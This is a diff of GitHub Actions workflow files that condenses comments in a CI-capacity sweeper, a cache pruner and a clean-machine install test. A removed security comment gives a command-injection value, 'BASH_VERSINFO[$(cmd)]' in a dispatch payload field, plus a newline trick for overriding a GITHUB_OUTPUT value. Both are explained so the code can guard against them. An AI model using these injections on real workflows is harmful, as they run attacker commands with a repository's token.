+ # Group per (ref, version, prefix): cache lookup is scoped by all three.
printf '%s\t%s\t%s\t%s\t%s\n' "$ref|$ver|$pre" "$created" "$id" "$size" "$fkeep" >> "$grouped"
done < "$live"
@@ -392,8 +344,7 @@ jobs:
echo "| usage after | $(gib "$after") GiB of 50 GiB |"
} >> "$GITHUB_STEP_SUMMARY"
- # 80% of the 50 GiB ceiling. Above this a single dependency bump can
- # push the repo over between two scheduled sweeps.
+ # 80% of the 50 GiB ceiling.
if [ "$after" -gt 42949672960 ]; then
echo "::warning::Cache usage is $(gib "$after") GiB of 50 GiB after pruning. Find the family that grew."
fi
diff --git a/.github/workflows/ci-capacity.yml b/.github/workflows/ci-capacity.yml
index e5d0e02ca71..cfddba72e8d 100644
--- a/.github/workflows/ci-capacity.yml
+++ b/.github/workflows/ci-capacity.yml
@@ -3,57 +3,11 @@
name: CI capacity
-# Frees runner slots in THIS repository so a release pipeline elsewhere in the
-# org stops queueing behind ordinary CI.
-#
-# Before using it, know what the measurements said, because they contradict the
-# reason this was asked for. None of the three release pipelines is macOS
-# starved. In every clean attempt-1 run, macOS was the fastest class to get a
-# runner: llama.cpp on 08-03 saw its two macOS jobs wait 6 seconds while Linux
-# and Windows each piled up ~5h48m of queue, and release-desktop's macOS leg
-# waited 1m54s against 2h54m for Windows. llama.cpp's 08-07 release was run-time
-# bound outright, 1h12m of build behind 3 seconds of queue. The whisper.cpp
-# 6h39m release was the 08-06 GitHub Actions incident, where the whole org sat
-# at 0-6 running jobs against a 1,100 job queue; a concurrency cap does not look
-# like that.
-#
-# So the class worth preempting is linux and windows, which is exactly the class
-# whose runs people are waiting on. That is the trade this file exists to make
-# visible, and the reason it defaults to schedule-only and ships off.
-#
-# Why it lives here and not in the release repo. GitHub's `concurrency:` is
-# scoped to one repository, so it cannot express "llama.cpp is releasing, so
-# unsloth should stand down". Doing that across repos means an explicit API
-# call. The obvious shape, a release job that reaches into unsloth and cancels
-# things, needs a PAT with Actions write on every target and puts the kill
-# switch in a repo whose maintainers cannot see what it killed. This is the
-# inverse: each CI repo carries its own sweeper, acts with its own
-# GITHUB_TOKEN, and a release only has to *ask*. No cross-repo Actions
-# credential exists anywhere in the design, and the whole blast radius is one
-# reviewable file plus .github/ci-preempt.json.
-#
-# SHIPS INERT. Every destructive path is gated on the repository variable
-# CI_PREEMPT_ENABLED being the exact string 'true'. With the variable unset,
-# which is how this merges, the sweeper still runs, still resolves exactly what
-# it would have cancelled, and prints it to the job summary without touching
-# anything. Turn it on with:
-#
-# gh variable set CI_PREEMPT_ENABLED --repo unslothai/unsloth --body true
-#
-# and off again by deleting the variable -- but resume first if a pause is in
-# flight, because the guard is gated on the same variable and stops restoring
-# once it is gone. Read the note on the guard job before enabling `pause`.
-#
-# The one credential this needs. A release repo has to be able to reach
-# repository_dispatch here, and POST /repos/{o}/{r}/dispatches requires
-# Contents: write on THIS repository, which GITHUB_TOKEN in another repo does
-# not have. Nothing in the org can do that today: the only proven cross-repo
-# secret is WHISPER_DISPATCH_TOKEN on llama.cpp, which is a personal PAT
-# carrying the whole account. If this is ever turned on, mint a GitHub App
-# with Contents: write scoped to unsloth and unsloth-zoo and nothing else,
-# rather than adding a second account-wide PAT. Note that the credential only
-# ever grants the right to *ask*: the sweeping is done here, by this
-# repository's own GITHUB_TOKEN, against a list committed in this repository.
+# Frees runner slots in this repo so release pipelines elsewhere in the org stop queueing.
+# Each CI repo sweeps itself with its own GITHUB_TOKEN; a release only asks via dispatch.
+# Inert unless repo variable CI_PREEMPT_ENABLED is exactly 'true'; otherwise it only reports.
+# Resume before clearing the variable, since the guard is gated on it too.
+# Dispatch credential: a GitHub App with only Contents: write on target repos, never an account PAT.
on:
repository_dispatch:
@@ -83,12 +37,8 @@ on:
type: string
default: 'manual'
- # The guard below. Deliberately frequent and deliberately independent of
- # everything above. Off the top of the hour on purpose: crons at :00 are the
- # most delayed slot GitHub has, and this is the one job whose lateness is
- # measured in how long CI stays off. Twice an hour is noise in the Actions
- # tab that buys a bounded worst case; if that trade stops being worth it,
- # lower the rate and raise MAX_DISABLED_MINUTES to match, never just one.
+ # Guard cron, off the hour since :00 crons are most delayed. If you change the rate,
+ # change GUARD_INTERVAL_MINUTES and MAX_DISABLED_MINUTES to match.
schedule:
- cron: '7,37 * * * *'
@@ -97,24 +47,13 @@ permissions:
contents: read
env:
- # Longest a workflow may stay disabled before the guard turns it back on
- # regardless of what the release is doing. This is the number that decides
- # how bad the worst case is, so keep it shorter than you think you need.
+ # Longest a workflow may stay disabled before the guard re-enables it.
MAX_DISABLED_MINUTES: '120'
- # How often the guard's cron above fires. A cutoff of exactly
- # MAX_DISABLED_MINUTES would restore up to one whole interval late: disabled
- # at :08, still 119m old at the :07 poll, not restored until :37, so ~150m
- # against an advertised 120m. Subtracting the interval makes
- # MAX_DISABLED_MINUTES the number that actually holds. Change the two
- # together or the advertised bound stops being true.
+ # Must equal the guard cron interval; subtracted from the cutoff so MAX_DISABLED_MINUTES holds.
GUARD_INTERVAL_MINUTES: '30'
- # Ceiling on hold_minutes for a cancel-only sweep, which has no disable to
- # outlive and so is bounded only by what pinning one runner is worth; GitHub
- # stops the job at 6h anyway. `pause` is clamped harder, to the guard's
- # restore threshold, at the point of use: past that the workflows are back on
- # and the extra hold is a sweep wearing a pause's name.
+ # Cap for cancel-only holds; pause is clamped tighter at the point of use.
HOLD_MAX_MINUTES: '240'
jobs:
@@ -195,41 +134,27 @@ jobs:
- name: Re-enable stale disabled workflows
env:
GH_TOKEN: ${{ github.token }}
- # Same gate as the sweeper, for the same reason. Without it this job
- # is a live enable loop that ships on merge with the feature off, and
- # nothing in this repository ever disabled the workflows it would be
- # acting on. Off, it still resolves and reports what it would restore.
+ # Same gate as the sweeper so this ships inert; off, it only reports.
ENABLED: ${{ vars.CI_PREEMPT_ENABLED }}
run: |
set -uo pipefail
DRY=1; [ "${ENABLED:-}" = "true" ] && DRY=0
NOW="$(date -u +%s)"
- # One poll interval early, so MAX_DISABLED_MINUTES is the worst case
- # rather than the value it gets rounded up from.
+ # One poll interval early so MAX_DISABLED_MINUTES is the true worst case.
CUT_MINUTES=$(( MAX_DISABLED_MINUTES - GUARD_INTERVAL_MINUTES ))
CUT=$(( NOW - CUT_MINUTES * 60 ))
RESTORED=0
STALE=0
FAILED=0
- # Only ever re-enable something this repository's own allowlist claims
- # as sweepable, minus `never` for the same reason the sweeper
- # subtracts it. A workflow a human disabled on purpose is not ours to
- # switch back on, so anything outside .github/ci-preempt.json is left
- # exactly as found.
+ # Only re-enable allowlisted workflows (minus never); anything else is left as found.
ALLOWED="$(jq -r '[.heavy[][]] - .never | unique[]' .github/ci-preempt.json)"
if [ -z "$ALLOWED" ]; then
echo "::error::.github/ci-preempt.json yielded no allowlist; the guard did not run"
exit 1
fi
- # Fetch before looping, and check. Reading straight from a process
- # substitution throws the API call's exit status away -- pipefail does
- # not cover it -- so a rate-limited or failed list would leave
- # RESTORED=0 and a summary that looks like a healthy pass while the
- # workflows a pause disabled stay disabled past the advertised bound.
- # Failing loudly is the only useful thing a safety floor can do when
- # it cannot see.
+ # Fetch and check first: a process substitution would discard the API failure.
if ! gh api --paginate "repos/${GITHUB_REPOSITORY}/actions/workflows" \
--jq '.workflows[] | "\(.id) \(.state) \(.path) \(.updated_at)"' \
> "${RUNNER_TEMP}/workflows.txt"; then
@@ -255,16 +180,12 @@ jobs:
echo "re-enabled ${path} (disabled ${AGE}m; restore threshold ${CUT_MINUTES}m, limit ${MAX_DISABLED_MINUTES}m)"
RESTORED=$(( RESTORED + 1 ))
else
- # Counted, not raised here. The ids left in the list are other
- # workflows that are just as disabled, so bailing out on the first
- # rate-limited call would leave them down too.
+ # Counted, not fatal here, so the remaining ids are still attempted.
echo "::error::could not re-enable ${path}; enable it by hand in the Actions tab"
FAILED=$(( FAILED + 1 ))
fi
done < "${RUNNER_TEMP}/workflows.txt"
- # A guard that fails quietly is worse than no guard, so say so loudly
- # when it had to act. Routine passes stay silent.
if [ "$RESTORED" -gt 0 ]; then
echo "::warning::re-enabled ${RESTORED} workflow(s) approaching the ${MAX_DISABLED_MINUTES}m limit"
fi
@@ -274,15 +195,7 @@ jobs:
echo "guard: restored ${RESTORED}" >> "$GITHUB_STEP_SUMMARY"
fi
- # `::error::` only writes an annotation; the step's status comes from
- # the exit code alone. Without this a guard that could not put a
- # workflow back ends green, and the thing watching this is watching
- # for a failed scheduled run, so the one signal that the advertised
- # bound has stopped holding is the one never sent. Reported after the
- # summary so the record of what was and was not restored survives the
- # nonzero exit, and after the loop so every id is still attempted.
- # Unreachable while the feature is off, because DRY skips the enable
- # call before FAILED can move.
+ # ::error:: does not fail the step; exit nonzero so a failed restore is visible.
if [ "$FAILED" -gt 0 ]; then
echo "guard: ${FAILED} workflow(s) could NOT be re-enabled and are still disabled" >> "$GITHUB_STEP_SUMMARY"
exit 1
@@ -301,10 +214,7 @@ jobs:
- name: Resolve the request
id: req
env:
- # repository_dispatch carries its arguments in client_payload;
- # workflow_dispatch carries them in inputs. Normalise once here so the
- # step below has one shape to read, and so an unset field on either
- # path lands on the same default rather than an empty string.
+ # Normalise client_payload and inputs into one shape with the same defaults.
P_MODE: ${{ github.event.client_payload.mode }}
P_EVENTS: ${{ github.event.client_payload.events }}
P_CLASSES: ${{ github.event.client_payload.classes }}
@@ -318,8 +228,6 @@ jobs:
ACTION: ${{ github.event.action }}
run: |
set -euo pipefail
- # ci-resume is a mode, not a separate entry point: a release that
- # finishes should not have to know which mode it asked for earlier.
if [ "${ACTION:-}" = "ci-resume" ]; then
MODE=resume
else
@@ -336,9 +244,7 @@ jobs:
- name: Sweep
env:
GH_TOKEN: ${{ github.token }}
- # Not an `if:` on the job. The dry run is the useful half of this
- # workflow before anyone commits to enabling it: it answers "what
- # would this have taken from us" without taking anything.
+ # Not a job-level if: the dry run must still report.
ENABLED: ${{ vars.CI_PREEMPT_ENABLED }}
MODE: ${{ steps.req.outputs.mode }}
EVENTS: ${{ steps.req.outputs.events }}
@@ -352,54 +258,16 @@ jobs:
PAUSED=0
PAUSE_FAILED=0
RESUMED=0
- # The class list tolerates spaces a few lines down; this is the same
- # tolerance for the event list, which otherwise reads `schedule, push`
- # as one event named ` push` that matches nothing and silently sweeps
- # only half of what was asked for.
+ # Strip spaces so `schedule, push` does not become an event named ` push`.
EVENTS="${EVENTS// /}"
- # Resolve the allowlist for the requested runner classes. Anything not
- # named in .github/ci-preempt.json is out of reach, and the never list
- # is subtracted afterwards so a mistake in heavy cannot reach a
- # release workflow.
+ # Only allowlisted workflows are reachable; never is subtracted afterwards.
if [ "$MODE" = "resume" ]; then
- # Resume ignores `classes` on purpose. A pause that named two
- # classes and a resume that named one would leave half the
- # allowlist disabled, and re-enabling something that was never
- # disabled is free.
- #
- # It ignores whether another pause is still live too, and that is a
- # trade rather than an oversight: two overlapping releases, or a
- # slow ci-resume arriving after a newer ci-pause, and the first
- # resume switches CI back on underneath the release still running.
- # Holding that off needs a lease, a record of the open pauses that
- # outlives this run, and nothing here can keep one. With
- # actions:write and contents:read the only stores in reach are
- # artifacts and caches; repository variables need the Variables
- # permission, which has no `permissions:` key and cannot be granted
- # to GITHUB_TOKEN at all, a committed file needs contents:write and
- # an issue needs issues:write. Both reachable stores are written
- # partway through the run, which is the hole the guard note above
- # already rejects: kill the pause job between the disable call and
- # the lease write and the lease reads "nothing paused" while the
- # workflows are off.
- #
- # The two failure directions also differ, which is what decides it.
- # Resuming early refills the pool and the surviving release queues
- # longer, and one more ci-pause dispatch repairs it. A lease that
- # leaks blocks every later resume and holds CI off until the guard's
- # MAX_DISABLED_MINUTES, on a guard queueing for the same pool. So
- # overlapping pauses are handled by not overlapping them: pause from
- # one release at a time.
+ # Resume ignores classes and any other live pause on purpose: re-enabling is free, and no
+ # durable lease store is reachable with these permissions. Pause from one release at a time.
FILES="$(jq -r '[.heavy[][]] - .never | unique[]' .github/ci-preempt.json)"
else
- # No `grep -v '^$'` here. `- [""]` below already drops the empty
- # entries, and grep exits 1 when nothing matches, which pipefail and
- # the inherited -e turn into a dead step with no annotation and no
- # summary on a classes of ',' or ' '. A field that resolves to no
- # classes has to reach the warning below, the same way an unknown
- # class does, rather than hand a dispatch sender a way to red-X this
- # repository's Actions tab.
+ # No grep -v here: it exits 1 on no match and would kill the step under -e/pipefail.
WANT="$(tr ',' '\n' <<<"$CLASSES" | sed 's/ //g' | jq -Rsc 'split("\n") - [""]')"
FILES="$(jq -r --argjson want "$WANT" \
'[.heavy[$want[]][]?] - .never | unique[]' .github/ci-preempt.json)"
@@ -409,8 +277,7 @@ jobs:
fi
echo "allowlist:"; sed 's/^/ /' <<<"$FILES"
- # Map file name -> numeric workflow id once. Everything downstream
- # compares ids, so a workflow renamed in the UI cannot slip through.
+ # Compare numeric ids so a workflow renamed in the UI cannot slip through.
gh api --paginate "repos/${GITHUB_REPOSITORY}/actions/workflows" \
--jq '.workflows[] | "\(.id)\t\(.path)"' > "${RUNNER_TEMP}/wf.tsv"
: > "${RUNNER_TEMP}/ids.txt"
@@ -423,13 +290,7 @@ jobs:
fi
done <<<"$FILES"
- # Returns nonzero if any id could not be enabled, having tried them
- # all. Counted rather than written as `gh api ... && echo ok || echo
- # error`, because that form reports the status of the last echo, which
- # is always 0: a resume that restored nothing would look exactly like
- # one that restored everything, both to a release pipeline reading
- # this job's conclusion as "CI is back" and to anyone reading the
- # summary afterwards.
+ # Returns nonzero if any id could not be enabled, after trying them all.
enable_all() {
local failed=0
while read -r ID; do
@@ -446,15 +307,8 @@ jobs:
}
if [ "$MODE" = "resume" ]; then
- # Called as an `if` test rather than bare, so the -e in this step's
- # default `bash -e {0}` cannot abort before the summary is written.
- # With DRY=1 nothing is enabled and nothing is counted, so this
- # branch still cannot fail a run with CI_PREEMPT_ENABLED unset.
+ # Called as an if test so bash -e cannot abort before the summary.
if enable_all; then
- # Same rule as the pause summary below: the dry state printed
- # "would enable" and called nothing, so it does not get to say
- # recovery happened. Nothing here disabled them either, since the
- # pause path is gated on the same variable.
if [ "$DRY" = 1 ]; then
echo "resume would have re-enabled ${RESUMED} workflow(s) (${REASON}); none were, CI_PREEMPT_ENABLED is not 'true'" >> "$GITHUB_STEP_SUMMARY"
else
@@ -467,27 +321,8 @@ jobs:
fi
if [ "$MODE" = "pause" ]; then
- # Disabling is what actually stops the pool refilling; cancelling
- # alone loses the race against the next push. Two costs, both real:
- #
- # - A push during the window gets no run at all, and no cancelled
- # run to re-run either. Cancellation at least leaves a red check
- # and a Re-run button; a disabled workflow leaves a commit with
- # no check, which required status checks will then block on.
- # - GitHub documents that disabling stops a workflow "from being
- # triggered". It says nothing about runs already sitting in the
- # queue. If disable does not drain those, this buys much less
- # than it looks like it does. Org queue depth peaked at
- # 1,175 jobs during the window I measured.
- #
- # Hence: not the default, gated behind the enable flag, and floored
- # by the guard above.
- #
- # Counted, but deliberately not fatal the way a failed enable is. A
- # disable that fails leaves the workflow running, so the pause just
- # frees less than it hoped; nothing is left in a state that needs
- # recovering. The summary says how many, so "the allowlist is down"
- # is never claimed on the strength of a call that 403'd.
+ # Disabling stops the pool refilling, but pushes during the window get no run at all.
+ # A failed disable is counted but not fatal: nothing needs recovering.
while read -r ID; do
[ "$DRY" = 1 ] && { echo "would disable workflow ${ID}"; PAUSED=$(( PAUSED + 1 )); continue; }
if gh api -X PUT "repos/${GITHUB_REPOSITORY}/actions/workflows/${ID}/disable"; then
@@ -500,39 +335,15 @@ jobs:
done < "${RUNNER_TEMP}/ids.txt"
fi
- # Only the count goes to stdout, because the caller reads it through a
- # command substitution. Everything a human wants to read goes to
- # stderr, which the Actions log interleaves with stdout anyway.
+ # Only the count goes to stdout (read via command substitution); logs go to stderr.
sweep_once() {
local n=0
exec 3>&1 1>&2
while read -r ID; do
- # Runs come from /actions/workflows/{id}/runs, NOT the
- # repository-wide /actions/runs. That endpoint has no workflow_id
- # filter and ignores the parameter instead of rejecting it
- # (`...actions/runs?workflow_id=999999999` returns the same runs
- # as no filter at all), so the same query against it hands this
- # loop every run in the repository and the allowlist stops
- # meaning anything.
- # status=queued and status=in_progress are separate queries; there
- # is no OR filter, and asking for every run and filtering locally
- # pages through months of history for nothing.
- # --paginate because per_page=100 on its own stops at the first
- # page, and a nightly can hold more than 100 queued runs during
- # exactly the backlog this exists for. A status-filtered search
- # stops at 1000 results however many pages you ask for, so a pass
- # is best effort and never a guarantee that the queue is empty;
- # hold_minutes is what buys another pass.
- # exclude_pull_requests only trims the response body, it does NOT
- # drop pull_request runs. The case below is what does that.
+ # Use the per-workflow runs endpoint: /actions/runs silently ignores workflow_id.
+ # exclude_pull_requests does not drop pull_request runs; the case below does.
for ST in queued in_progress; do
- # Take the whole list before cancelling any of it. Cancelling a
- # run moves it out of status=${ST}, which is the filter defining
- # this result set, so paginating and cancelling at the same time
- # would shift the pages underneath the loop and skip runs.
- # Checked explicitly: the redirect truncates the file whatever
- # happens, so an unchecked failure here would silently sweep
- # nothing, and a half-paginated list is not one to act on.
+ # Collect the full list before cancelling, since cancelling shifts the paginated result set.
if ! gh api --paginate \
"repos/${GITHUB_REPOSITORY}/actions/workflows/${ID}/runs?status=${ST}&per_page=100&exclude_pull_requests=true" \
--jq '.workflow_runs[] | "\(.id) \(.workflow_id) \(.event) \(.head_branch)"' \
@@ -541,20 +352,12 @@ jobs:
continue
fi
while read -r RUN WID EV BR; do
- # Belt and braces on the endpoint above, the same way `never`
- # is belt and braces on the allowlist: an id we did not ask
- # for never reaches the cancel call.
+ # Defence in depth: never cancel an id we did not ask for.
[ "$WID" = "$ID" ] || continue
- # Never a pull_request run. Cancelling one deletes a
- # contributor's feedback, shows up on their PR as our doing,
- # and cannot be undone by anyone but them.
+ # Never cancel a contributor's pull_request run.
case "$EV" in pull_request|pull_request_target) continue;; esac
grep -qx "$EV" <<<"${EVENTS//,/$'\n'}" || continue
- # /cancel, never /force-cancel. force-cancel is the one that
- # bypasses `always()`, which is where other people put their
- # artifact uploads and their cleanup. Freeing a slot four
- # minutes sooner is not worth leaving someone's teardown
- # unrun.
+ # /cancel, never /force-cancel, which would skip other workflows' always() cleanup.
if [ "$DRY" = 1 ]; then
echo "would cancel run ${RUN} (${EV} on ${BR})"
elif gh api -X POST "repos/${GITHUB_REPOSITORY}/actions/runs/${RUN}/cancel" >/dev/null; then
@@ -570,29 +373,9 @@ jobs:
echo "$n" >&3
}
- # HOLD arrives from client_payload on the repository_dispatch path,
- # and bash evaluates the *contents* of a variable named in an
- # arithmetic expression, recursively. So `HOLD * 60` below on a value
- # of BASH_VERSINFO[$(cmd)] runs cmd with this job's actions:write
- # GITHUB_TOKEN, exit 0, no diagnostic -- turning the Contents-only
- # dispatch credential described at the top of this file into
- # arbitrary code execution, which is the one thing the design
- # promises it cannot be. Passing the value through `env:` does not
- # help: nothing is interpolated into the script text, the shell
- # re-evaluates the value itself. (`set -u` stops the usual x[$(cmd)]
- # shape because x is unset. It does not stop an always-set name.)
- #
- # Validate at the point of use, not in `Resolve the request`: a
- # newline in any later client_payload field appends a second `hold=`
- # line to $GITHUB_OUTPUT and the runner keeps the last one, so a
- # check up there is bypassable through `reason`.
- #
- # 10# because a leading zero is otherwise octal: bash reads 010 as 8
- # and rejects 09 outright, which would take this arithmetic down.
- # Anything unparseable sweeps once rather than failing the job: 0 is
- # the documented default and the least destructive direction, and a
- # malformed field should not throw away the dry-run report or hand a
- # dispatch sender a way to red-X this repository's Actions tab.
+ # SECURITY: HOLD comes from client_payload and bash arithmetic evaluates variable contents,
+ # so validate digits here at the point of use (a newline in a later field can override hold=
+ # in GITHUB_OUTPUT). Bad values sweep once rather than fail. 10# avoids octal.
RAW_HOLD="$HOLD"
if [[ "$RAW_HOLD" =~ ^[0-9]{1,9}$ ]]; then
HOLD=$(( 10#$RAW_HOLD ))
@@ -605,16 +388,7 @@ jobs:
HOLD=0
fi
- # A pause cannot outlive its own disable. The guard restores the
- # allowlist once it is CUT_MINUTES old, MAX_DISABLED_MINUTES minus the
- # poll interval, and the hold loop only re-runs the cancel pass: it
- # never disables anything a second time. So every minute of hold past
- # that point is cancel-only work being reported as a pause, on a pool
- # that is refilling through the very triggers cancellation cannot
- # touch, pull_request runs above all. Clamped rather than honoured,
- # because the alternative, re-disabling to see the hold out, is a job
- # fighting its own safety floor for hours. A long cancel-only hold is
- # still available; it is spelled mode=sweep.
+ # Clamp pause holds to the guard cutoff; past it workflows are back on and this is just a sweep.
if [ "$MODE" = "pause" ]; then
PAUSE_HOLD_MAX=$(( MAX_DISABLED_MINUTES - GUARD_INTERVAL_MINUTES ))
if [ "$HOLD" -gt "$PAUSE_HOLD_MAX" ]; then
@@ -623,13 +397,7 @@ jobs:
fi
fi
- # A dry run cancels nothing, so nothing leaves status=queued between
- # passes and every extra pass re-reports and re-counts the same runs:
- # at the 240m ceiling, three queued runs become "720 run(s) would have
- # been cancelled" in the one artifact this ships to produce. It would
- # also pin an ubuntu slot for four hours out of the pool this file
- # exists to relieve, to reprint one list. One pass is the whole of
- # what a dry run can tell you.
+ # A dry run needs only one pass; repeats would recount the same runs and pin a runner.
if [ "$DRY" = 1 ] && [ "$HOLD" -gt 0 ]; then
echo "::warning::hold_minutes ${HOLD} ignored while CI_PREEMPT_ENABLED is not 'true'; a dry run cancels nothing, so every further pass would re-count the same runs. Sweeping once"
HOLD=0
@@ -641,9 +409,6 @@ jobs:
N="$(sweep_once)"
TOTAL=$(( TOTAL + ${N:-0} ))
[ "$(date -u +%s)" -lt "$DEADLINE" ] || break
- # A single pass does not hold: anything queued after it refills the
- # pool. Holding costs one ubuntu slot, which is the cheapest thing
- # in the pool and far less than what it frees.
sleep 60
done
@@ -654,12 +419,7 @@ jobs:
echo "- reason: ${REASON}"
echo "- ${TOTAL} run(s) $( [ "$DRY" = 1 ] && echo 'would have been cancelled (dry run)' || echo cancelled )"
if [ "$MODE" = "pause" ]; then
- # Only stated as fact when it happened. A dry run printed "would
- # disable" and called nothing, and a real run can still lose ids
- # to a rate limit, so an unconditional "allowlist disabled" would
- # tell an operator the allowlist was down and that a 120m restore
- # clock was running when neither was true. In the dry state the
- # guard is gated off as well, so there is no clock at all.
+ # Only claim the allowlist is disabled when it actually was.
if [ "$DRY" = 1 ]; then
echo "- ${PAUSED} workflow(s) would have been disabled (dry run); none were, so there is nothing for the guard to restore"
else
@@ -670,10 +430,5 @@ jobs:
fi
fi
} >> "$GITHUB_STEP_SUMMARY"
- # The block above ends in a conditional, so say what the step's status
- # is rather than inheriting it from whichever branch happened to be
- # last. Note the default shell here is `bash -e {0}` and the
- # `set -uo pipefail` at the top does not clear that -e, so anything
- # added below has to be explicit about failure the way the API calls
- # above are.
+ # Step shell is bash -e; anything added below must handle failure explicitly.
exit 0
diff --git a/.github/workflows/clean-machine-install-ci.yml b/.github/workflows/clean-machine-install-ci.yml
index 983d5b6f0c2..74d1e6b9720 100644
--- a/.github/workflows/clean-machine-install-ci.yml
+++ b/.github/workflows/clean-machine-install-ci.yml
@@ -1,49 +1,16 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# Proves Unsloth installs on a machine that has never seen a developer toolchain.
-#
-# Why: studio-mac-install-matrix.yml runs `install.sh --local --no-torch` on runners
-# with Xcode CLT selected AND actions/setup-python preinstalled, so the macOS
-# dependency gate never fires there -- and `--local` is precisely the mode that
-# legitimately needs git. A brand-new Mac hits a hard `exit 1` no CI job covered.
-#
-# Hosted runners are developer machines, so each job simulates absence, two ways (see
-# .github/scripts/clean-machine-env.sh):
-# mask -> the toolchain is genuinely unusable; does the install still work?
-# trace -> the toolchain works but is logged; does the installer ever call it?
-# Linux is the exception: containers are genuinely clean.
-#
# ── What `overlay` decides ────────────────────────────────────────────────────
-# install.sh / install.ps1 come from this ref but install unsloth FROM PyPI, the
-# consumer path, which has to stay that way -- so everything Python-side would be the
-# RELEASED wheel's (setup.sh, setup.ps1, install_python_stack.py and every
-# requirements/constraints file they reach via Path(__file__)) and a branch changing
-# any of them would get a green run proving nothing. `overlay: true` legs therefore
-# re-point the venv at this ref before studio setup, via UNSLOTH_CI_SOURCE_OVERLAY: a
-# `--no-deps` editable install of the checkout, so `import studio` resolves to the
-# working tree and the setup-script lookup finds this ref's setup.sh / setup.ps1. NOT
-# `install.sh --local`, which also pulls `unsloth-zoo @ git+https://...` and so needs
-# the git these legs remove; an editable overlay resolves and clones nothing.
-#
-# Legs left on `overlay: false`:
-# mac */mask/pipe the `curl | sh` shape a user runs, kept end-to-end on the
-# released package so a broken PyPI release still shows up.
-# mac macos-15/trace `notools` rejects toolchain use except uv's exact optional
-# libpython self-ID patch; `dylibpatch` requires that control call.
-# No overlay: setuptools-scm's editable build would call git itself.
-# linux ubuntu2404-nonroot-notransport dies at the elevation gate before a venv exists.
-# wsl only install.sh is copied in; no source tree inside WSL.
+# Proves Unsloth installs on a machine with no developer toolchain. Hosted runners simulate
+# absence (see .github/scripts/clean-machine-env.sh); Linux containers are genuinely clean.
+# overlay: true legs editable-install this ref over the PyPI wheel via UNSLOTH_CI_SOURCE_OVERLAY
+# so this ref's setup scripts are under test; non-overlay legs test the released package.
+# The overlay is a --no-deps editable install, not install.sh --local, which needs git.
name: Clean machine install
-# The legs live in .github/ci/clean-machine-matrix.yml, each with a `pr` flag: a
-# pull_request runs the `pr: true` subset (8 of 20), while the nightly schedule, a push to
-# main and workflow_dispatch run all 20, picked by the `select` job below, so a leg's keys
-# are the same on both paths. Installers only: pyproject.toml and requirements/** were
-# dropped from the trigger because they are the two highest-churn files in the repo and
-# every push touching them queued 20 jobs, 7 on the five-slot macOS pool. The nightly keeps
-# that coverage, and the Update, Backend and Core workflows install this ref anyway.
+# Legs live in .github/ci/clean-machine-matrix.yml; PRs run the `pr: true` subset.
on:
pull_request:
@@ -57,36 +24,20 @@ on:
- 'studio/setup.ps1'
- 'studio/setup.bat'
- 'studio/install_python_stack.py'
- # The wsl job runs its install inside this watcher, so a change to it changes what that
- # job can detect.
- '.github/scripts/Watch-ForCompiler.ps1'
- # setup.sh (727) and setup.ps1 (2343, 3630, 3916) call these directly and the
- # overlay makes them THIS ref's code, so they decide whether a clean machine gets
- # a native prebuilt or a toolchain-dependent fallback.
- 'studio/install_*_prebuilt.py'
- 'studio/prebuilt_core.py'
- 'studio/install_manifest.py'
- 'studio/node_prebuilt_pins.json'
- # The overlay reaches setup.sh / setup.ps1 through unsloth_cli/commands/studio.py
- # (install.sh:4254, install.ps1:2801), so a change there decides whether these
- # legs install at all. No toolchain-equipped workflow covers that.
- 'unsloth_cli/commands/studio.py'
- '.github/scripts/clean-machine-*.sh'
- '.github/scripts/assert-llama-loads.sh'
- # The virgin Windows container lane lives in this workflow too.
- '.github/scripts/virgin-windows-*.ps1'
- '.github/scripts/ensure-docker-daemon.ps1'
- '.github/scripts/assert-nobuild.ps1'
- '.github/scripts/select_install_matrix.py'
- '.github/ci/clean-machine-matrix.yml'
- '.github/workflows/clean-machine-install-ci.yml'
- # The overlay legs run this ref's setup, which builds the frontend and runs npm
- # install for the OXC validator on a toolchain-stripped host, so their manifests
- # and lockfiles can change the no-build and no-toolchain verdicts. setup.sh runs
- # nvidia_probe.py, and install_llama_prebuilt.py imports
- # backend.utils.prebuilt.llama_backend and (through prebuilt_core.py)
- # backend.utils.auth_safe and the vendored truststore, which decide the bundle
- # assert-llama-loads.sh checks.
- 'studio/frontend/package.json'
- 'studio/frontend/package-lock.json'
- 'studio/frontend/.npmrc'
@@ -102,8 +53,7 @@ on:
- 'studio/backend/vendor/truststore/**'
push:
branches: [main]
- # Same list as the PR filter: without it a direct push to main touching any of
- # these skipped the workflow and the post-merge backstop never happened.
+ # Keep in sync with the pull_request path filter.
paths:
- 'install.sh'
- 'install.ps1'
@@ -125,13 +75,6 @@ on:
- '.github/scripts/select_install_matrix.py'
- '.github/ci/clean-machine-matrix.yml'
- '.github/workflows/clean-machine-install-ci.yml'
- # The overlay legs run this ref's setup, which builds the frontend and runs npm
- # install for the OXC validator on a toolchain-stripped host, so their manifests
- # and lockfiles can change the no-build and no-toolchain verdicts. setup.sh runs
- # nvidia_probe.py, and install_llama_prebuilt.py imports
- # backend.utils.prebuilt.llama_backend and (through prebuilt_core.py)
- # backend.utils.auth_safe and the vendored truststore, which decide the bundle
- # assert-llama-loads.sh checks.
- 'studio/frontend/package.json'
- 'studio/frontend/package-lock.json'
- 'studio/frontend/.npmrc'
@@ -146,8 +89,6 @@ on:
- 'studio/backend/utils/prebuilt/llama_backend.py'
- 'studio/backend/vendor/truststore/**'
schedule:
- # Nightly, all 20 legs, on this ref's installers: `inputs.installer_source` is empty
- # on schedule exactly as on pull_request and push, so the tree is under test.
- cron: '23 9 * * *'
workflow_dispatch:
inputs:
@@ -171,19 +112,15 @@ permissions:
contents: read
env:
- # Keep every install inside the workspace so a leg cannot inherit another's state.
UNSLOTH_STUDIO_HOME: ${{ github.workspace }}/.studio-home
- # No wildcard bind -> no ifconfig.me / check-host.net calls on the startup path.
UNSLOTH_STUDIO_DISABLE_PUBLIC_CHECK: '1'
- # Without this run_install_cmd (install.sh:193-243) sends every `uv pip install` to a
- # temp file and DELETES it on success, so `nobuild` can only report "built: none".
+ # Without this install.sh deletes uv pip logs on success, so nobuild sees nothing.
UNSLOTH_VERBOSE: '1'
jobs:
select:
name: select legs
- # arm64, not ubuntu-latest: this job fronts every leg, so its queue wait is added to
- # all of them, and the arm pool starts in minutes where ubuntu-latest queues for hours.
+ # arm64 queues much faster, and this job fronts every leg.
runs-on: ubuntu-24.04-arm
timeout-minutes: 5
outputs:
@@ -191,8 +128,7 @@ jobs:
linux: ${{ steps.pick.outputs.linux }}
